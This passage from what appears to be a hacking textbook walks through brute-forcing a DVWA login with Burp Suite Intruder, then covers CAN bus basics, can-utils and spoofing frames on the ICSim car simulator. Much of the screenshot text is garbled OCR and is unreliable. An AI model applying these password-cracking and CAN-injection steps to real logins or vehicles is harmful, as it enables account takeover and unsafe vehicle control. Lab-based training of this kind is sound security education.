authentication on another port or service, change it here, but BurpSuite usually gets it right.

Burp Suite Community Edition v2020.4 - Temporary Project

Burp Project Intruder Repeater Window Help

| Bashbeard ITﬂrg:t Froxy | Intruder I Repeater ]Sequen:er ]De:od:r I Comparer lEﬂmder IPNjed options ]U::r options ]

(= el

_ITarq:t ]Posilinns ]Payioads I Optians I

@ Attack Target
Configure the details of the target for the attack.
Host [192.168.42.15
Port: | B0

(] Use HTTPS

Next, click on the "Positions" tab. It will highlight the fields that it believes it needs to use in

cracking this authentication form.
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Brorp Suite Cxmmunity Edition v 2020 4 - Temparary Project

Butp Projuct itrudsr Rspeatse Windem Halp
[Dashboard | Target [ Frov [ introdes | Repeater | Seauencer | Deceder | Comparer | Extender | Project egtens | User apbers |

1 = hdox ] .
T e |
@ Payload positions | start aneaek |
Cardigure the pusitions mhare pindsads wil be inserted ints the Base regusst The sitaek e determings the may in whith payleads sre assked s payload soaitians - see help for 1 details

Attack type: | Sniper :]

L POST fdwwnilegin,phe HTTRFE.L A |
2 Mopt: 192,168 42.1%

A
iy =
3 Wser-Agent: Mezilla/S.0 (310 Linus o885 648 rvi60.0) Cecko/20000001 Firefor/E9.0 —> Clears
4 dccept: textshinl.applicatiensxhinlenal agplacation/ael ge0.9. 0 /000008 = |

% Arcept-Lanquager en-US.en:ged, S

4 Accept-Encoding: qzip. deflate it )
7 Referer: http://152.168.42.15/dvwa /Lagin.php

o Comtent -Type: sgplication/s-wae fars.urlencoded | Refresh

% ContentsLengih: 45

10 Cenneetion: clase

11 Coshie: fecufily=§lewi: PHPSESSID-SPvavegrSredvtodoqle2a®qolly; scedendividi=-Savingiet.jotto, phebl2, rednined: acgrewdvitheersiit=-Snadag

12 Upgrade- Inzecure-Faquests: 1

L wger beadiverds Fha ineSblagi

Since we want to set the positions manually, click the "Clear" button to the far right.

In this attempt, we will be trying to crack OTW's password. This assumes we know the user's
username and only need the password (to acquire usernames from WordPress sites, wpscan is
excellent for extracting usernames).

Here we will highlight the one field you want to attempt to crack, namely the password, and
click on the Add button to the right

Burp Praject bfruder Fepeater Windew Help

_imum-m Targel T Prewy I Intrudse | Bepeater Tilwmm Tﬂ!ﬂdﬂ Tcnnw-nu -['Emndn Tlmcuegml Tu:.ﬂ uh-em-]
_|' 1% | 2 |
| Target | Posiiens | Pmieads | Oplens

(@ Payload Positlons PrErE—
——
Conligure the paditisns mhare palosds will be niarted ints the Base requedl The statk type Setermined the wiy in whith pidoads a2e s3signed 1 padesd paitions « 364 halp for full details

Attack type: | Sniper _ll
I POST pdwearlogin.php HITRSLL - AdA§
2 Wost: 152.068,. 42,15 I !
1 Ugercdgent: Mezilla/S. 0 (XI0: Linus a6 64; rvif8, 0] Geches200000100 Firefon/es.0 claar§
4 Mccepts test/hinl.applicatien/chinlexnl, application/sel g, &, 4 /% 1qe0. 8 = =
5 Accepl-Langunge: en-US,.eniged.5 P
—

6 Accepl-Encoding: grip, dedlate

T Referer: http: 153 1684315/ dvwarlegin.php
0 Content-Trpe: 2pplicaticals-wew fora urlencoded Rafresh

@ Content -Langth: 46

10 Connection: clese

11 Cookier security=low! acopendivids=svingset.ijotto,phpbtZ. reduine; acgroupswithpersistensda; PHPIESSIOeoBbETS0dsolvaveasBdbBhric

12 Upgrade-Insecure Pequests: 1
ia

14 ugernaagestviparpvard=ihsckersarizefilogin=login

Set Attack Type
Now, we need to set the attack type. There are four types of attacks in BurpSuite Intruder:

1. Sniper
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A single set of payloads. It targets each payload and places each payload into each position.
2. Cluster Bomb

Multiple payload sets. There are different payload sets for each position.

3. Pitch Fork

Multiple payload sets. There are different payload sets for each position. It iterates through each
payload set simultaneously.

4. Battering Ram
A single set of payloads. It uses a single payload set and runs it through each position.

For a more detailed explanation of the differences in these payloads, see the Burp Suite
documentation.

The BurpSuite Intruder defaults to "Sniper," so let's leave it as Sniper for this attack.
Set the Payloads
Now, we need to set the payload we designated. These are the fields that Intruder will be

attacking. Select Payload Set #1 and enter some common passwords that nearly every system

has, such as "admin," "guest," "systemadmin," "sys," "root," "password," etc.
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Burp roject istrudar Repester Windew Halp

[Dnnhaam TTﬂuut i’ | Intraden RepunurT‘Slqﬂmur TDucodN I:omnycr T:mnw Ifrnjutmons Tuur aptions ]

[l

_[ Targat | Posmans | Padsads | opres |

.

au tan defing anp or mare pnd) - ioud ost. and
wath payioad ype con be customd wask [ kal §) (@) (@) (@] 0ED( =)
L et )
|:> Fadoad sex |1 & ez
:bnmaa type: | Simple bt (@ oeruments
(@ Dewnteads
(& Husic
@ Paylead options [Simple 1§ | @ Pictres
This peyisad type fets you confipd | Pubie
(& Temgtates
Paste | i vdeos
- a0 G

Fytadimin

123456

Remae

| 1zmese7ss
un

| lear | | passmerd
qwerty
abetay L]

[ tplesad passwesdsne|

Add T E—
Add from bt .. [Pro version ond

(@) Paytoad Processing

Teu can define nudes to perform v

Fie fiame: | bopl0000_pazsmords.tat

Fiss of Tee: Al Ples ]

Add | |Enabled | Rule |
(e | open | | cancel

Bemove *

In addition, let's select the top10000 passwords.txt from Hackers-Arise (www.hackers-
arise/password-lists). These are the 10,000 most common passwords from dark web dumps over
the last few years. It's always a good idea to use common passwords on your first attempt to
crack passwords in these forms.

Next, we need to click on the "Start Attack" button in the upper right corner.

Burp Project Weeruder Eepester Windew Malp
[ Daskesard | Target | 7o [iniruder | Repeater | Sequencer | Desoder | Camparer | Extender | roject sptions | User aptions |
[ = izl -
[Taraet | Postans [lpapteada | optans |
- = i.
Fou can define ane or mare il Altatk Sove Columns ad st and
#ath Bad & tan be us)
L b [|esuts | Target | Postions [ patosds [ optens |
Pt e [ ][ Bter Shening i temz 6]
Payboad type: | Simple Bst - —~
ALY (Beguant & | Payload Sratus Error | Timaout | Length | Commaent
] 302 [5] [F—T
1 02 a o s
(7 paylead options [simp]| 2 pdmin 302 5] B w58
g 3 Past 302 5] a 58
This peyiesd type et you oo wyradmin 02 a B Ly
& 124 L1+ [=] o L5
Paate (3 132356789 502 =] = S58
= J | admian ] 1 302 5] o sse
] roat 1 ] passward 202 a =] 58
' | gyradmin El aweity 302 =] B 58
123455 1w shr123 302 5] L see
\ABam] | paceres 1 17245678 202 5] O sse
Elear 1 iz passwandl 02 a B 550
Ll | Saamend 1% 1354547 502 a B e
qwerey 14 12123 302 a o sss
ahr133 L] 12357850 302 a O 558
re— (4 ] LH g o s
VA | frter o new e 37 13383 302 =] o s
] ilveysu 302 [E ]
Add frem bt .. [Pre version 4. €
() Payload Processing
You can define rules to perfod
Add Enakled | Aud
4R 18 of 10004
Ramove 3
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This will start BurpSuite to attempt to login into your DVWA, iterating through each password
on your list. Note in the screenshot above that both the status (302) and the length (558) are
identical for each attempt. What we are looking for is an attempt where the status and length are
different than the others that would indicate a successful login.

Cluster Bomb Technique

In this technique, we will assume that both the username and the password are unknown to us.
We will need to use two payloads; one the username and one the password. We will Add both
the username field and the password field as payloads. We will also set the attack type to
"Cluster Bomb."

[2 = Tzwal ]
[ Target [ pusitions | Payloads | options |
@ Payload Positions [ Start atack
Configure the positicns mhere padoads wil be mperted into the baze request The attack tpe determines the way in which padoade are sesigned to padoad poxtions - zee belp for full detaile
Aftack bype: | Chuster beenb =
1 POST fdwwailogin.php HTTP/L.1 . Add g
7 Most! 192.168,42.15 Hh_—
User raqent: Mozillass.0 (X11: Linux 186 64: rv:65.01 Geckos30100L01 Firefon/68.0 sl
shtnlexnl agglicat ionsaal sqel. 0, b/ h;gmi 8 Lt
PET L )
152, 168, dvwn Sagin.sha
Contant-Tyge: spplicationsa-we- fars-urlencoded Rafresh |

o Content-Lemgth: 46

10 Connection: close

11 Cookie: securityslow: acependividssswingset, jotto.phpbbd, redeine: acgrevpsuithpersistessdn: PHPSESSIOesBbEfSodsalvqeessBadbEbeis
12 Upgrade -TrsecuresRequests: 1

14 ugernane=§otwibpns fwardeibatkersnrige S dlegineLogin

ih

With this type of attack, BurpSuite will try a variety of combinations of your list in both the
username and password fields. This is a more complex and time-consuming attack, but necessary
if you don't know the username.

Next, let's click on the Payloads tab. Select Payload set 2, and from the Payload type pulldown
window, select Character Substitution.
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[ Target [ resians [ pateads | optens |

(@ Payload Sets

Yau can deline ne or more payisad suts. The number of prdoad sets depends on the altack byee defined in the Positions tab. Vasisus paload types are svadabie for cach paduad sel and
aath pmisad type £am be curternized in differest ways

i
Start attack | T

Paylvad set |2 ®|  Payload count 0
Payoad type: [Character substitution
Simple kit

Russieme file

@ Payload Opf Custem terator
Character substitution

Bequest et 0

Thiz patsad o sting and sdaly vansuE dhasatter subEEbAIGNS 1 dath e
R hﬁﬂf meddication ing el & £ Lot LR Dl

i1 Reqursive grep
= | hegel Unicode
Eharsiter blagis

a = a =&

[k
z =2 = = =
= - = -

[0 Case sensiive match

P,
|__Paste

[(Lesd. ]

| Remove | >

Clear

aod Enter & rew dem
Add frem list ... [Fre varslon enbd

With Character Substitution selected, BurpSuite will "munge" your password list, replacing
typical letter/number substitutions (users are taught to change letters into numbers to prevent
dictionary attacks). As you can see below, the default character substitution is; a=4, b=8, e=3,
and so on. This is the typical substitution that users employ and should work in most cases, but
you can customize or add other letter substitutions here.

@ Payload Options [Character substitution]
This payload type lets you configure a list of strings and apply various character substitutions to each item.

a =4 b =8 e =3 a =6

i =1 s =0 s > 5 t =7

z :-2_ sl ] 1= 1 sl |
> > .:\- >

] Case sensitive match

Now, add your password list just like the previous attack by clicking on the Load button to the
left of the Items window. Note that instead of just 10,000 requests as in the previous attempt,
now our attempts have grown to over 2 billion! This is because each word will be attempted as a
username, and then each word will be attempted as a password. In addition, this method will
create additional passwords and usernames by using the character substitution we enabled above.

188 |Page



[arget [ Posmicas [Pasteads | optiens |

(@ raylcad sots
¥ou can define one or more payload sets. The number of payload sets Sepends on the sttack type defined in the Positions tab. Varisus payload types are awailable for each payload set, and
eath pitead tree can be custeenaed m dilferest was

Paoad set |2 1®|  Padoad count 80,0600 Lagpraxt

Paload hype: | Charaster substiution [¥|  Reguest count 2,105.032.704 lapprax)

(3 Paylead options [Character substitution]

This pataad type lets you configure a list of strings and spsly various character subsbitutions ts each dem

1 =+ B =% e |23 s =% |

T =2 @ s0 s |=[5 v =7 |

[ Case sensitve masch

| pase 123455 |
123456783 ™
| Loas.. | 111111 o
f—LLU
| memewe | | AmERY -
————— | abrizy
12345678
e hsamendl
1234567 =
134130 J
[28a11] [Erter o new em ]

A4 from Nak .. [Pro versian onb]

=
Start sttack | T

In the final step, click "Start Attack." Since we will be attempting 2 billion username and
password combinations, this will be a tedious and time-consuming task. Here is where the

unthrottled BurpSuite Pro proves its value!

Intruder attack & - O X

Attack Sawve Columns

[ Results ] Target ] Positions I Payloads ] Options ]
lFiIter.' Showing all items |®
! Request 4 | Payloadl | Payload2 Status | Errar | Timeout | Length | Comment

0 302 a a 558 A

1 123456 123456 302 a a 558 i)

2 123456789 123456 Cp» 302 ] O sss

3 111111 123456 302 (] ] 558

4 password 123456 302 (] (] 558

5 pdssword 123456 302 (] ] 558

[ pasSsword 123456 302 (] [m] 558

F password 123456 3nz (] d 558

g pasSword 123456 302 (] =] 558

] pasSword 123456 0z o o 558

10 pasSword 123456 0z o o 558

11 password 123456 0z a a 558

1z passwird 123456 302 3] a 558

13 pdsswird 123456 302 a a 558

14 paSswird 123456 302 a a 558

15 pd5swird 123456 302 a a 558

16 pasiwird 123456 302 a a 558

17 pdsiwird 123456 302 a a 558

18 pasiwird 123456 302 (] ] 558

19 p455word 123456 nz (] ] 558

20 awerty 123456 302 H] O ss8

21 qwirty 123456 302 =] L 558

22 qwerTy 123456 0z o o 558

23 qQwirTy 123456 02 @] o 558

24 abel23 123456 302 a [ =] 558

25 4bcl23 123456 anz a a 558 =
e ] ARANTT 1FTACA anT [ ] 1 Lo/ ; ..

31 of 550000000 |

As you can see above, BurpSuite attempts each word in our list as a username and then tries

every word in our list as a password.
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Like in the attack above, we are looking for anomalies in the status and length fields. These will
often indicate a Successful Login.

Reading the Results

Here it's important to note a few things. First, the status column. Note that all the requests in the
screenshot are "302" or "found." Also, note that the length of the responses is all uniform (558).

That uniform length message would be the uniform bad request response. When a response is of
a different length and a different code (200), it will warrant further investigation, as it is likely to
have the correct username and password. You can find these anomalies by clicking on the Status
header or the Length header and sorting the results by these two fields rather than manually
searching through all 2 billion responses.

The BurpSuite is an excellent and versatile tool that every web app pentester/hacker should be
conversant in. Here, we used it to crack web app logins using the simple and quick sniper attack
against a known username and unknown password and then the more time-consuming cluster
bomb attack with character substitution against an unknown username and password
combination.

Summary

Web technologies are critical to understanding the vulnerabilities of web-based applications.
Tools such as the BurpProxy, enable us to “catch,” examine, and manipulate this traffic in order
to exploit these vulnerabilities.
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Chapter 13

Automobile Networks

Automobile hacking is one of the leading-edge areas of our

L Reabworlc CERLEEE % hacking discipline. As our automobiles have become smarter

suspension

and smarter, they include more and more electronics, making
them more and more vulnerable. As we are literally and
figuratively turning the corner into the era of the driverless or
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autonomous car, hacking automobiles will become even more important and dangerous.

In this series, we will examine the basics of automobile hacking and advance to more complex
hacking strategies. For an example of a rather simple automobile hacking, check out my article
on hacking the Mitsubishi Outlander.

Before we can delve into automobile hacking, we need to first understand the basics. Kind of like
understanding TCP/IP before network hacking or modbus before SCADA hacking. Automobile
electronics use several different protocols to communicate between multiple micro-controllers,
sensors, gauges, actuators, etc. The most widely used of these protocols is the Controller Area
Network or CAN.

The CAN Protocol

CAN was first developed by Robert Bosch GmbH, the German industrial giant known for its
automotive electronics. It was first released at the Society of Automotive Engineers (SAE)
meeting in 1986. The CAN protocol has been standardized as ISO 11898-1 and ISO 11898-2. It
was designed for robust communication within the vehicle between microcontrollers and devices
without the need for a host computer.

CAN operates as a broadcast type of network, similar to a broadcast packet in Ethernet or using a
hub in the old days of networking (1980 through the 90s). Every node on the network can "see"
every transmission. Unlike Ethernet or TCP/IP (but similar to Modbus in SCADA systems), you
can not send a message to a single node, but the CAN does provide for local filtering so that each
node only acts upon messages pertinent to its operation. You can think of this as "content
messaging," where the contents determine the target node.

CAN runs over two wires, CAN high and CAN low. Due to the "noise" inherent in automobile
systems, CAN uses differential signaling. This is where the protocol raises and lowers the
voltage on the two wires to communicate. In both high-speed and low-speed CAN, signaling
drives the high wire towards 5v and the low wire towards Ov when transmitting a zero (0) but
doesn't drive either wire when sending a one (1).

1 1 1

5V

Do minant Volta

Rec e ssive Volta

0 0
CAN Hi ’ N H
2.5\
CAN Lo ~ J i

Do minant Volta

ov

Driver Lo gic
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CAN Message Types

CAN uses four (4) different types of messages;
1. Data Frame

2. Remote Frame

3. Error Frame

4. Overload Frame

Data Frame

This is the only frame actually used for data transmission. In most cases, the data source node
sends the data frame.

It has two types, standard and extended. The standard has 11 identifier bits, and the extended has
29 bits. The CAN standard requires that the base data frame MUST be accepted and the extended
frame MUST be TOLERATED:; in other words, it will not break the protocol or transmission.
Remote Frame

The remote frame is used when the data destination node requests the data from the source.
Error Frame

The error frame has two different fields, the first is given by the ERROR FLAGS and
contributed by the different stations, and the second is the ERROR DELIMITER, simply
indicating the end of the error message

Overload Frame

The overload frame has two fields. These are the Overload Flag and the Overload Delimiter. The
overload frame is triggered when either by the internal conditions of a receiver or the detection
of the dominant bit (0) during transmission.

The On-Board Diagnostics (OBD)-II Connector

Most vehicles now come with an ODB-II connector. If you have taken your car to a shop for

repair, it is this connector under the dashboard where the mechanic connects their computer to
get a read on the onboard computers.
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The OBD-II has 16 pins and looks like the diagram below.

CLK W209 OBDII Pinout By Micro

Ignition, Circuit 15, Fuse 22

PIN # Function PIN # Function
1 ECU 9 ABS /[ ASR / EBP / ETS / BAS | ESP
Electronic Shift Lever Detector
2 - 10 o
. THNA (Engine RPM Signal) 11 Electronic Transr!'ﬂssmn Control (ETC)
Transmission 722.6
4 Chassis GND 12 All Activity Modules (AAM)
EAM [ Transfer Case
5 Signal GND 13 Airbag / ETR. / SRS [/ Seatbelt
Audio / NAV / CDC / Teleaid
6 CAN BUS High (12284) 14 CAN BUS Low (12284)
7 1SD 9141-2 K line 15 ISD 9142-2 L line
ECU / Motor Electronics (ME) Instrument cluster / Lamps / Immobilizer
8 +12V Acc. +12V Dir.

Battery Power, Circuit 30, Fuse 13

As hackers/attackers, we can also connect to this OBD-II connector and send messages on the
CAN network to various devices.
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CAN Bus Packet Layout

There are two types of CAN packets, standard and extended. The extended packets share the
same elements as the standard packet, but the extended packets have additional space to include
IDs.

Standard Packets

Every CAN packet has four critical sections. These are;

Arbitration ID

The arbitration ID is the ID of the device sending the packet.

Identifier Extension

This bit is always 0 for standard CAN

Data Length Code (DLC)

This indicates the size of the data, from 0 to 8 bytes

Data

This is the data in the message. As mentioned above, it can be up to 8 bytes.

As mentioned above, all CAN packets are broadcast, so every device or controller can see every
packet. There is no way for any device to know which controller sent the packet (no return

address), so spoofing messages on a CAN network is trivial. This is one of the key weaknesses
of CAN.

GAN-ID: O7F,

s HE

0 Base ID T

F R
olofofolo1]4]1]a]1]1]1]0

CAN-ID: 01FC 0000,

g s R
o Basa 1D R Extended 1D T
F R R
oloJolofal1l1l1]1]1l1]1[allolole]l .. lololo
CAN-ID: 0000 007F,

s s R
o| easeid |[R Extended 10 T
F R R
ololol .. lololal®lolo] .. [olololelals[1]4]1]1]1]1]0
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Extended CAN Packets

Extended CAN packets are the same as standard CAN packets, but they are chained together to
create longer IDs. Extended CAN is backwardly compatible with standard CAN. This means that
if a sensor was not designed to accept extended CAN packets, this system wouldn't break.

Security

Due to CAN being a low-level protocol, it does not have any security features built in. It has NO
encryption or authentication by default. This can lead to man-in-the-middle (MitM) attacks (no
encryption) and spoofing attacks (no authentication). Manufacturers, in some cases, have
implemented authentication mechanisms on mission-critical systems, such as modifying software
and controlling brakes, but all manufacturers have not implemented them. Even in the cases
where passwords have been implemented, they are relatively easy to crack.

CAN-Utils or SocketCAN

Now that we laid out the basics of the most common protocol used in automobiles, the Controller
Area Network or CAN, we can now proceed to install the can-utils. can-utils is a Linux-specific
set of utilities that enables Linux to communicate with the CAN network on the vehicle. In this
way, we can sniff, spoof, and create our own CAN packets to pwn the vehicle!

What are the can-utils?
CAN is a message-based network protocol designed for vehicles. Originally created by Robert
Bosch GmbH, the same folks who developed the CAN protocol. In addition, SocketCAN is a set

of open-source CAN drivers and a networking stack contributed by Volkswagen Research to the
Linux kernel.

Installing the can-utils
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If you are using the Kali or other Debian-based repositories, you can download and install can-
utils with apt-get.

kali > sudo apt install can-utils

root@kali:~# apt-get install can-utils

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following packages were automatically installed and are no longer require
d:

finger libadnsl libpython-all-dev lua-lpeg python-adns python-all
python-all-dev python-bson python-bson-ext python-easygui python-elixir
python-gridfs python-levenshtein python-metaconfig python-pip
python-pip-whl python-pymongo python-pymongo-ext python-grcode
python-wheel rwho rwhod u3-tool

If you are not using the Kali repository or any repository without can-utils, you can always
download the can-utils from github.com using the git clone command.

kali > git clone https://github.com/linux-can/can-utils
The Basics of the can-utils

The CAN utilities are tools to work with CAN communications within the vehicle from the
Linux operating system. These tools can be divided into several functional groups;

1. Basic tools to display, record, generate and play can traffic

2. CAN access via IP sockets

3. CAN in-kernel gateway configuration

4. Can Bus measurement

5. ISO-TP tools

6. Log file converters

7. Serial line discipline (slc) configuration

Initially, we will concern ourselves with just the basic tools and the log file converters.

For a complete list of the tools in can-utils and their functionality, see the table below.
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1. Basic tools to display, record, generate and replay CAN traffic

o candump : display, filter and log CAN data to files

o canplayer : replay CAN logfiles

e cansend : send a single frame

e cangen : generate (random) CAN traffic

o cansniffer : display CAN data content differences (just 11bit CAN IDs)

2. CAN access via IP sockets
o canlogserver : log CAN frames from a remote/local host

e bcmserver : interactive BCM configuration (remote/local)
e socketcand : use RAW/BCM/ISO-TP sockets via TCP/IP sockets

3. CAN in-kernel gateway configuration
o cangw : CAN gateway userpace tool for netlink configuration
4. CAN bus measurement and testing
e canbusload : calculate and display the CAN busload
e can-calc-bit-timing : userspace version of in-kernel bitrate calculation
o canfdtest : Full-duplex test program (DUT and host part)
5. ISO-TP tools ISO15765-2:2016 for Linux
o isotpsend : send a single ISO-TP PDU
e isotprecv : receive ISO-TP PDU(s)

o isotpsniffer : 'wiretap' [ISO-TP PDU(s)
e isotpdump : 'wiretap' and interpret CAN messages (CAN_RAW)

o isotpserver : IP server for simple TCP/IP <->ISO 15765-2 bridging (ASCII HEX)

e isotpperf: ISO15765-2 protocol performance visualisation
e isotptun : create a bi-directional IP tunnel on CAN via ISO-TP

6. Log file converters
o asc2log : convert ASC logfile to compact CAN frame logfile
e log2asc : convert compact CAN frame logfile to ASC logfile
e log2long : convert compact CAN frame representation into user readable

7. Serial Line Discipline configuration (for slcan driver)

o slcan_attach : userspace tool for serial line CAN interface configuration
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e slcand : daemon for serial line CAN interface configuration
o slcanpty : creates a pty for applications using the slcan ASCII protocol

Setting Up a Virtual CAN network

In this section, we will be connecting to the CAN network in your vehicle with various hardware
devices. These are relatively inexpensive ($10-20), and I highly recommend you purchase one if
you want to master automobile hacking. If you can't or won't purchase one of these hardware
devices, you can always set up a virtual CAN network.

To set up a virtual CAN network;

first, load the vcan (virtual CAN) module;

kali > modprobe vcan

Then, set up your virtual interface;

kali > ip link add dev can0 type vcan

kali > ip link set up vcan(

root@kali:~# modprobe vcan

root@kali:~# ip link add dev vcan® type vcan
root@kali:~# ip link set up vcan0

Once we have set up our virtual CAN connection (vcan0), we can test to see whether it is up by
using the ifconfig command, like we would with any other interface in Linux.

kali > ifconfig vcan(

root@kali:~# ifconfig vcan®
veand: f1 =193<UP, RUNNING,NOCARP> mtu 16
= txqueuslen 1

(UNSPEC)
RX

3 ytes 0 (0.0 B)

RX errors @ dropped @ overruns @ frame ©

TX packets 0 bytes 0 (0.0 B)

TK errors © dropped @ overruns © carrier 0 collisions ©

Now, we are ready to begin work with CAN communications. We only need now to connect our
Linux operating system to the vehicle. There are numerous devices, means, and connection types
to do so. We will look at a few of these in my next article in this series, so keep coming back.

Automobile hacking is the cutting edge of the hacking discipline!
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Automobile and other vehicle hacking could have dramatic effects on society as we know it.
Imagine a cyber war scenario where the opposing generals employ hackers to commandeer the
adversary's tanks, jeeps, and other vehicles. Or, a bit more mundane, imagine a world where
hackers can open, start and control your vehicle!

CAN Simulation
In previous sections, we have examined the basics of the CAN protocol and then the can-utils.

In this section, we will set up a simulation environment where you can use some of this
knowledge to analyze and hack a simulated vehicle.

Accelerate
(UP Arrew)

Leck Unla<k
Left Shift Ri ght Shift

Turn
{Left / Right]

This CAN-Bus simulator was developed by Craig Smith at Open Garages and the author of The
Car Hackers Handbook by No Starch Press.

Install Dependencies
The first step is to install the necessary dependencies into your Kali system.

kali > apt-get install libsdl2-dev libsdl2-image-dev -y

~# apt-get install libsdl2-dev libsdl2-image-dev -y
Reading package lists... Done

Building dependency tree
Reading state information... Done
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Install Can Utils

The next step is to install the CAN utils. These are a set of Linux-native utilities developed by
Bosch of Germany. If you followed my second tutorial in the series, you have likely already
installed these utilities. If not, you can do so now by downloading and installing them from the
Kali repository.

~# apt-get 1nstall can-utils :y
Reading package lists... Done

Building dependency tree
Reading state 1nformatlon... Done

Download ICSim

Craig Smith, author of The Car Hackers Handbook and founder of opengarages.org, has
developed a small CAN simulator we will download and install next. You can clone it from

github.com here.

kali > git clone https://github.com/zombieCraig/ICSim

:~# git clone https://github.com/zombieCraig/ICSim
Cloning into 'ICSim'...
remote: Enumerating objects: 127, done.

remote: Total 127 (delta ©), reused 0@ (delta 0), pack-reused 127
Receiving objects: 100% (127/127), 1.08 MiB | 25.00 KiB/s, done.
Resolving deltas: 100% (67/67), done.

Next, we navigate to the newly created directory, ICSim.

kali > c¢d ICSim
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:~# cd ICSim
~/ICSim# 1s -1

total 172

drwxr-xr-x
“TWXI=Xr-x
-rwW-r--r--
drwxr-xr-x
-IrWXr-Xr-x
-rw-r--r--
“rw-r--r--
-rw-r--r--
-rw-r--r--
-rwW-r--r--
-rw-r--r--
- TWXIr=-Xr-x

root root 4096 : art

root root 29792 i :45 controls
root root 20553 - : controls.c
root root 4096 :45 data

root root 32936 - :45 icsim

root root 13598 - : icsim.
root root 14111 - :45 1ib.c

root root 8338 - : 1lib.h

root root 13168 :45 lib.o

root root 300 - : Makefile
root root 2824 - : README . md
root root 100 :45 setup_vcan.sh

e e e e e e e B e e R

When we do a long listing on that directory, we can see numerous files. At this point, we need to
execute the setup_vcan.sh script. This is a simple BASH script that loads the new kernel
modules, can and vean, using modprobe (for more on kernel modules, see my Linux Basics for
Hackers) and then creates a virtual CAN interface, vean.

Now, we need to execute this script.

kali > ./setup_vcan.sh

:~/I1CSim# ./setup vcan.sh
:~/ICSim# ./icsim vcan®

Using CAN interface vcan®

To start the instrument panel of our simulated vehicle, we simply need to execute icsim followed
by the name of the virtual CAN interface, in this case, vcan0.

kali > ./icsim vcan(
The instrument panel should appear on your desktop like below. It includes a speedometer, turn

signal and a virtual vehicle silhouette similar to modern vehicles that indicate open and closed
doors for the driver.
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IC Simulator

To start the controller of this vehicle, enter the following;

kali > ./controls vcan(

:~/ICSim# ./controls

This should open the controller on your desktop, as seen below.
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CANBus Control Panel e 0 6

_ Accelerate
(UP Arrow)

Lock ) Unlock
Left Shift Right Shift

Turn
(Left / Right)

If you have a game controller connected to your Kali system, you can now use it to "drive" your
simulated car. If not, you can use the following keyboard combinations.

accelerate UP Arrow
left/right Turn Signal Left/Right Arrow
unlock Front L/R Doors Right-Shift+A, Right-Shift+B
Unlock Back L/R Doors Right-Shift+X, Right-Shift+Y
Lock All Doors Hold Right Shift Key, Tap Left Shift
Unlock All Doors Hold Left Shift Key, Tap Right Shift

Now that we have our simulator setup, in the next sections we will "drive" our simulated vehicle,
sniff and observe the CAN bus messages, and reverse engineer those CAN bus messages.
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Next, we will focus on the following can-utils;
1. cansniffer

2. candump

3. canplayer

4. cansend

Start the cansniffer

Let's begin by sniffing the CAN traffic using cansniffer. With this utility, you must specify the
interface (vecan0, in our case) and if you want to see the colorized output, use the -c option.

kali > cansniffer -c vcan(

File Edit View Search Terminal Help
:~# cansniffer -c vcanofj

As soon as you enter this command, you should begin to see the CAN network traffic displayed
in your terminal, similar to the screenshot below.
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root@kali-2019: ~ Q@ ® 06

File Edit View Search Terminal Help
1.198947 00 00 10 00 0O
9.198912 18 o) 00 00 10
.198942
D.200650 20 41 00
. 200667 00 08 00 00
).200654 T 00 00
00 00 01

7 ¢ 00

5 [o]¢]
.201009 2 37
0.203971 2 00
.200933 2 JB 00
1.208898

SO O

D.198800 i [o]¢]

a0
[o]¢]
FD
D.296440 2 JE 04
.301292
D.296352 28 01 04 00
.301229 p.
D.999707 a0

For those Mr. Robot fans, you may have remembered seeing a similar terminal screen when
Darlene attempts to hack a car in Season 5.

DOloresi4ze
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When we use the -¢ option, the values that are changing turn a red color to help us identify these
key values.

Use cansniffer to Filter for Specific Traffic

Rather than watch all the traffic go past our terminal, we can filter traffic similarly to the more
widely used sniffer, Wireshark.

Let's look at the help screen in cansniffer to learn to do so.

kali > cansniffer -h

:~# cansniffer -h
cansniffer: option requires an argument -- 'h'

Usage: cansniffer [can-interface]
Options:
-m <mask= {(initial FILTER default 0x00000000)
-v <value= (initial FILTER default Ox00000000)
-q (quiet - all IDs deactivated)
- <name> (read sniffset.name from file)
(start with binary mode)

- {(color changes)
-t <time> (timeout for ID display [xl@ms] default: 500, @ = OFF)
-h =time= {(hold marker on changes [x10ms] default: 168)
-1 <time>  (loop time (display) [x1lems] default: 20)
Use interface name 'any' to receive from all can-interfaces.

b
-B (start with binary mode with gap - exceeds 80 chars!)
C

Then, if we only wanted to see traffic from ID=161, we could enter;

kali > cansniffer -c vcan(

Once the sniffer has started, we can then enter;

-000000

+161

It's important to note that when you enter the above commands, they will not appear on the

screen. Once you have entered the ID number, the sniffer will begin to filter out all traffic but
those with the ID= 161
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65 delta ; 2 nsniffer vcand # 1=20 h=100 t=500 >
B.200784 A : : 6

As you can see in the screenshot above, cansniffer now displays just the data for ID=161

Using candump to capture CAN traffic

While the cansniffer is capable of sniffing traffic on the CAN network (similar to Wireshark), the
candump utility in can-utils is capable of capturing CAN traffic and storing it into a file for
analysis or replay at a later time.

To do so, we can need only to use the -1 option to log and the -c option to colorize the output.

kali > candump -c -1 vcan(

:~/ICSim# candump -c -1 vcan®
Disabled standard output while logging.

Enabling Logfile 'candump-2020-04-17 095442.1og"

If we want to log AND view the output, we can use the -s 0 option (silent mode 0). In addition,
if we want to output to be converted from hex to ASCII (human readable), we can add the -a
(ASCII) option. This starts candump in colorize mode, with ASCII output, storing the data into
a log file and simultaneously sending it to the terminal (stdout).

kali > candump -c -1 -s 0 -a vcan(
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:~# candump -c -1 -s © -a vcan@

Enabling Logfile 'candump-2020-04-17 100214.log’

Warning: console output active while logging! wvcano 80 00 ©7 F4 0O

60 00 35
vcan@ 305 80 35
vcan@ 1A4 00 00 OC
vcan® 1AA 7F FF
vcan® 1B© 00 OF
vcan® 1D© 00 00
vcan@ 166 - DB 32 BE
vcan® 158 00 00
vcan® 161 e oo
vcan® 191 01 o0
vcane 133 00 00 oOa
vcane 136 e B2
vcand 13A 00 00

Using canplayer

We also have another key CAN network tool, canplayer. This tool enables us to "play" the output
from the candump. So, we could capture the data from the CAN network and then replay it on
the network. We only need to use the -I option followed by the name of the log file from

candump.

kali >canplayer -1 candump-xxxxxxxxxxx.log

:~# canplayer -I candump-zﬂzﬂ-ﬂd-1?_1@@214.10{;.

Using cansend to Send Custom Frames

Finally, we have the cansend tool. This tool enables us to replay a specific frame or to send a
custom-crafted CAN frame. If we want to resend a single frame, we isolated above with ID=161,

65 delta datsz
6.200784 | 161 ©O0 06 05 50 01 08 60

jffer vcan® # 1=20 h=100 t=500

we do so by entering the following;

kali > cansend vcan0 161#000005500108000d
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Where:

